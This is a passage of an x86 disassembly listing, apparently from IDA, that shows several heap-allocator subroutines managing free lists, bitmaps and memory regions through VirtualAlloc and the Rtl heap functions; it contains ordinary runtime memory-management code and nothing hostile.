add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41E9C6
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41E778
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E706
push 3Fh
pop edx
loc_41E706: ; CODE XREF: sub_41E6A2+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41E75A
cmp edx, 20h
jnb short loc_41E731
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41E752
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41E752
; ---------------------------------------------------------------------------
loc_41E731: ; CODE XREF: sub_41E6A2+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41E752
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41E752: ; CODE XREF: sub_41E6A2+86j
; sub_41E6A2+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41E75D
; ---------------------------------------------------------------------------
loc_41E75A: ; CODE XREF: sub_41E6A2+6Aj
mov ecx, [ebp+var_4]
loc_41E75D: ; CODE XREF: sub_41E6A2+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41E778: ; CODE XREF: sub_41E6A2+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41E786
push 3Fh
pop edx
loc_41E786: ; CODE XREF: sub_41E6A2+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41E829
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41E7AB
mov ebx, esi
loc_41E7AB: ; CODE XREF: sub_41E6A2+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41E7BD
mov edx, esi
loc_41E7BD: ; CODE XREF: sub_41E6A2+117j
cmp ebx, edx
jz short loc_41E824
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41E80C
cmp ebx, 20h
jnb short loc_41E7ED
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E80C
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41E80C
; ---------------------------------------------------------------------------
loc_41E7ED: ; CODE XREF: sub_41E6A2+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41E80C
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41E80C: ; CODE XREF: sub_41E6A2+128j
; sub_41E6A2+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41E824: ; CODE XREF: sub_41E6A2+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41E82C
; ---------------------------------------------------------------------------
loc_41E829: ; CODE XREF: sub_41E6A2+EDj
mov ebx, [ebp+arg_0]
loc_41E82C: ; CODE XREF: sub_41E6A2+185j
cmp [ebp+var_C], 0
jnz short loc_41E83A
cmp ebx, edx
jz loc_41E8BB
loc_41E83A: ; CODE XREF: sub_41E6A2+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41E8BB
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41E892
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E881
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41E881: ; CODE XREF: sub_41E6A2+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41E8BB
; ---------------------------------------------------------------------------
loc_41E892: ; CODE XREF: sub_41E6A2+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41E8A8
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41E8A8: ; CODE XREF: sub_41E6A2+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41E8BB: ; CODE XREF: sub_41E6A2+192j
; sub_41E6A2+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41E9C6
mov eax, dword_4DF6B4
test eax, eax
jz loc_41E9B8
mov ecx, dword_4DF6AC
mov esi, dword_4281C4
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; VirtualFree
mov ecx, dword_4DF6AC
mov eax, dword_4DF6B4
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4DF6B4
mov ecx, dword_4DF6AC
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4DF6B4
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4DF6B4
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E949
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4DF6B4
loc_41E949: ; CODE XREF: sub_41E6A2+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41E9B8
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; VirtualFree
mov eax, dword_4DF6B4
push dword ptr [eax+10h]
push 0
push dword_4DF6C4
call dword_428144 ; RtlFreeHeap
mov eax, dword_4DF6B8
mov edx, dword_4DF6BC
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4DF6B4
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41D460
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4DF6B8
cmp eax, dword_4DF6B4
jbe short loc_41E9AE
sub [ebp+arg_0], 14h
loc_41E9AE: ; CODE XREF: sub_41E6A2+306j
mov eax, dword_4DF6BC
mov dword_4DF6B0, eax
loc_41E9B8: ; CODE XREF: sub_41E6A2+234j
; sub_41E6A2+2ABj
mov eax, [ebp+arg_0]
mov dword_4DF6AC, edi
mov dword_4DF6B4, eax
loc_41E9C6: ; CODE XREF: sub_41E6A2+38j
; sub_41E6A2+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41E6A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E9CB proc near ; CODE XREF: sub_41B9D2+77p
; sub_41BCE3+18p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4DF6B8
mov edx, dword_4DF6BC
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41EA0B
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41EA1B
; ---------------------------------------------------------------------------
loc_41EA0B: ; CODE XREF: sub_41E9CB+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41EA1B: ; CODE XREF: sub_41E9CB+3Ej
mov eax, dword_4DF6B0
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41EA42
loc_41EA29: ; CODE XREF: sub_41E9CB+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EA42
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41EA29
loc_41EA42: ; CODE XREF: sub_41E9CB+5Cj
; sub_41E9CB+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41EAC0
mov ebx, edx
loc_41EA49: ; CODE XREF: sub_41E9CB+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EA65
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EA63
add ebx, 14h
jmp short loc_41EA49
; ---------------------------------------------------------------------------
loc_41EA63: ; CODE XREF: sub_41E9CB+91j
cmp ebx, eax
loc_41EA65: ; CODE XREF: sub_41E9CB+83j
jnz short loc_41EAC0
loc_41EA67: ; CODE XREF: sub_41E9CB+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41EA7D
cmp dword ptr [ebx+8], 0
jnz short loc_41EA7A
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41EA67
; ---------------------------------------------------------------------------
loc_41EA7A: ; CODE XREF: sub_41E9CB+A5j
cmp ebx, [ebp+var_4]
loc_41EA7D: ; CODE XREF: sub_41E9CB+9Fj
jnz short loc_41EAA5
mov ebx, edx
loc_41EA81: ; CODE XREF: sub_41E9CB+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41EA95
cmp dword ptr [ebx+8], 0
jnz short loc_41EA93
add ebx, 14h
jmp short loc_41EA81
; ---------------------------------------------------------------------------
loc_41EA93: ; CODE XREF: sub_41E9CB+C1j
cmp ebx, eax
loc_41EA95: ; CODE XREF: sub_41E9CB+BBj
jnz short loc_41EAA5
call sub_41ECD4
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41EAB9
loc_41EAA5: ; CODE XREF: sub_41E9CB:loc_41EA7Dj
; sub_41E9CB:loc_41EA95j
push ebx
call sub_41ED85
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41EAC0
loc_41EAB9: ; CODE XREF: sub_41E9CB+D8j
xor eax, eax
jmp loc_41ECCF
; ---------------------------------------------------------------------------
loc_41EAC0: ; CODE XREF: sub_41E9CB+7Aj
; sub_41E9CB:loc_41EA65j ...
mov dword_4DF6B0, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41EAE7
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41EB1E
loc_41EAE7: ; CODE XREF: sub_41E9CB+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41EB1B
loc_41EB04: ; CODE XREF: sub_41E9CB+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41EB04
loc_41EB1B: ; CODE XREF: sub_41E9CB+137j
mov edx, [ebp+var_4]
loc_41EB1E: ; CODE XREF: sub_41E9CB+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41EB47
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41EB47: ; CODE XREF: sub_41E9CB+16Dj
; sub_41E9CB+183j
test ecx, ecx
jl short loc_41EB50
shl ecx, 1
inc edi
jmp short loc_41EB47
; ---------------------------------------------------------------------------
loc_41EB50: ; CODE XREF: sub_41E9CB+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41EB6D
push 3Fh
pop esi
loc_41EB6D: ; CODE XREF: sub_41E9CB+19Dj
cmp esi, edi
jz loc_41EC82
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41EBDE
cmp edi, 20h
jge short loc_41EBAD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41EBDB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41EBDE
; ---------------------------------------------------------------------------
loc_41EBAD: ; CODE XREF: sub_41E9CB+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41EBDB
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41EBDE
; ---------------------------------------------------------------------------
loc_41EBDB: ; CODE XREF: sub_41E9CB+1D6j
; sub_41E9CB+203j
mov ebx, [ebp+arg_0]
loc_41EBDE: ; CODE XREF: sub_41E9CB+1B0j
; sub_41E9CB+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41EC8E
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41EC7F
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41EC50
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41EC3E
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41EC3E: ; CODE XREF: sub_41E9CB+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41EC7F
; ---------------------------------------------------------------------------
loc_41EC50: ; CODE XREF: sub_41E9CB+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41EC69
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41EC69: ; CODE XREF: sub_41E9CB+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41EC7F: ; CODE XREF: sub_41E9CB+24Ej
; sub_41E9CB+283j
mov ecx, [ebp+var_8]
loc_41EC82: ; CODE XREF: sub_41E9CB+1A4j
test ecx, ecx
jz short loc_41EC91
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41EC91
; ---------------------------------------------------------------------------
loc_41EC8E: ; CODE XREF: sub_41E9CB+229j
mov ecx, [ebp+var_8]
loc_41EC91: ; CODE XREF: sub_41E9CB+2B9j
; sub_41E9CB+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41ECC7
cmp ebx, dword_4DF6B4
jnz short loc_41ECC7
mov ecx, [ebp+var_4]
cmp ecx, dword_4DF6AC
jnz short loc_41ECC7
and dword_4DF6B4, 0
loc_41ECC7: ; CODE XREF: sub_41E9CB+2E0j
; sub_41E9CB+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41ECCF: ; CODE XREF: sub_41E9CB+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41E9CB endp
; =============== S U B R O U T I N E =======================================
sub_41ECD4 proc near ; CODE XREF: sub_41E9CB+CCp
mov eax, dword_4DF6B8
mov ecx, dword_4DF6A8
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41ED17
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4DF6BC
push edi
push dword_4DF6C4
call dword_42819C ; RtlReAllocateHeap
cmp eax, edi
jz short loc_41ED67
add dword_4DF6A8, 10h
mov dword_4DF6BC, eax
mov eax, dword_4DF6B8
loc_41ED17: ; CODE XREF: sub_41ECD4+11j
mov ecx, dword_4DF6BC
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4DF6C4
lea esi, [ecx+eax*4]
call dword_428148 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_41ED67
push 4
push 2000h
push 100000h
push edi
call dword_4281C8 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41ED6B
push dword ptr [esi+10h]
push edi
push dword_4DF6C4
call dword_428144 ; RtlFreeHeap
loc_41ED67: ; CODE XREF: sub_41ECD4+30j
; sub_41ECD4+67j
xor eax, eax
jmp short loc_41ED82
; ---------------------------------------------------------------------------
loc_41ED6B: ; CODE XREF: sub_41ECD4+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4DF6B8
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41ED82: ; CODE XREF: sub_41ECD4+95j
pop edi
pop esi
retn
sub_41ECD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ED85 proc near ; CODE XREF: sub_41E9CB+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41ED97: ; CODE XREF: sub_41ED85+19j
test eax, eax
jl short loc_41EDA0
shl eax, 1
inc ebx
jmp short loc_41ED97
; ---------------------------------------------------------------------------
loc_41EDA0: ; CODE XREF: sub_41ED85+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41EDB5: ; CODE XREF: sub_41ED85+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41EDB5
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_4281C8 ; VirtualAlloc
test eax, eax
jnz short loc_41EDE8
or eax, 0FFFFFFFFh
jmp loc_41EE7B
; ---------------------------------------------------------------------------
loc_41EDE8: ; CODE XREF: sub_41ED85+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41EE2E
lea eax, [edi+10h]
loc_41EDF5: ; CODE XREF: sub_41ED85+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41EDF5
loc_41EE2E: ; CODE XREF: sub_41ED85+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41EE6B
or [eax+4], edi
loc_41EE6B: ; CODE XREF: sub_41ED85+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41EE7B: ; CODE XREF: sub_41ED85+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41ED85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EE80 proc near ; CODE XREF: sub_41B9D2+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41F02E
test bl, 1
jnz loc_41F027
add ebx, ecx
cmp esi, ebx
jg loc_41F027
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41EEF7
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41EEF7: ; CODE XREF: sub_41EE80+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41EF47
cmp ecx, 20h
jnb short loc_41EF23
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41EF47
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41EF47
; ---------------------------------------------------------------------------
loc_41EF23: ; CODE XREF: sub_41EE80+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41EF47
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41EF47: ; CODE XREF: sub_41EE80+7Dj
; sub_41EE80+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41F015
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41EF81
push 3Fh
pop edi
loc_41EF81: ; CODE XREF: sub_41EE80+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41F003
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41EFDA
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41EFCD
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41EFCD: ; CODE XREF: sub_41EE80+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41EFFF
; ---------------------------------------------------------------------------
loc_41EFDA: ; CODE XREF: sub_41EE80+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41EFF0
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41EFF0: ; CODE XREF: sub_41EE80+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41EFFF: ; CODE XREF: sub_41EE80+158j
shr edx, cl
or [eax], edx
loc_41F003: ; CODE XREF: sub_41EE80+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41F018
; ---------------------------------------------------------------------------
loc_41F015: ; CODE XREF: sub_41EE80+E5j
mov edx, [ebp+arg_4]
loc_41F018: ; CODE XREF: sub_41EE80+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41F16E
; ---------------------------------------------------------------------------
loc_41F027: ; CODE XREF: sub_41EE80+52j
; sub_41EE80+5Cj
xor eax, eax
jmp loc_41F171
; ---------------------------------------------------------------------------
loc_41F02E: ; CODE XREF: sub_41EE80+49j
jge loc_41F16E
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41F059
push 3Fh
pop esi
loc_41F059: ; CODE XREF: sub_41EE80+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41F0E8
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F072
push 3Fh
pop esi
loc_41F072: ; CODE XREF: sub_41EE80+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41F0C1
cmp esi, 20h
jnb short loc_41F09D
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41F0BE
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41F0BE
; ---------------------------------------------------------------------------
loc_41F09D: ; CODE XREF: sub_41EE80+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41F0BE
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41F0BE: ; CODE XREF: sub_41EE80+214j
; sub_41EE80+21Bj ...
mov ebx, [ebp+arg_4]
loc_41F0C1: ; CODE XREF: sub_41EE80+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41F0E8
push 3Fh
pop esi
loc_41F0E8: ; CODE XREF: sub_41EE80+1DDj
; sub_41EE80+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41F165
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41F13C
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F12F
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41F12F: ; CODE XREF: sub_41EE80+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41F161
; ---------------------------------------------------------------------------
loc_41F13C: ; CODE XREF: sub_41EE80+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41F152
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
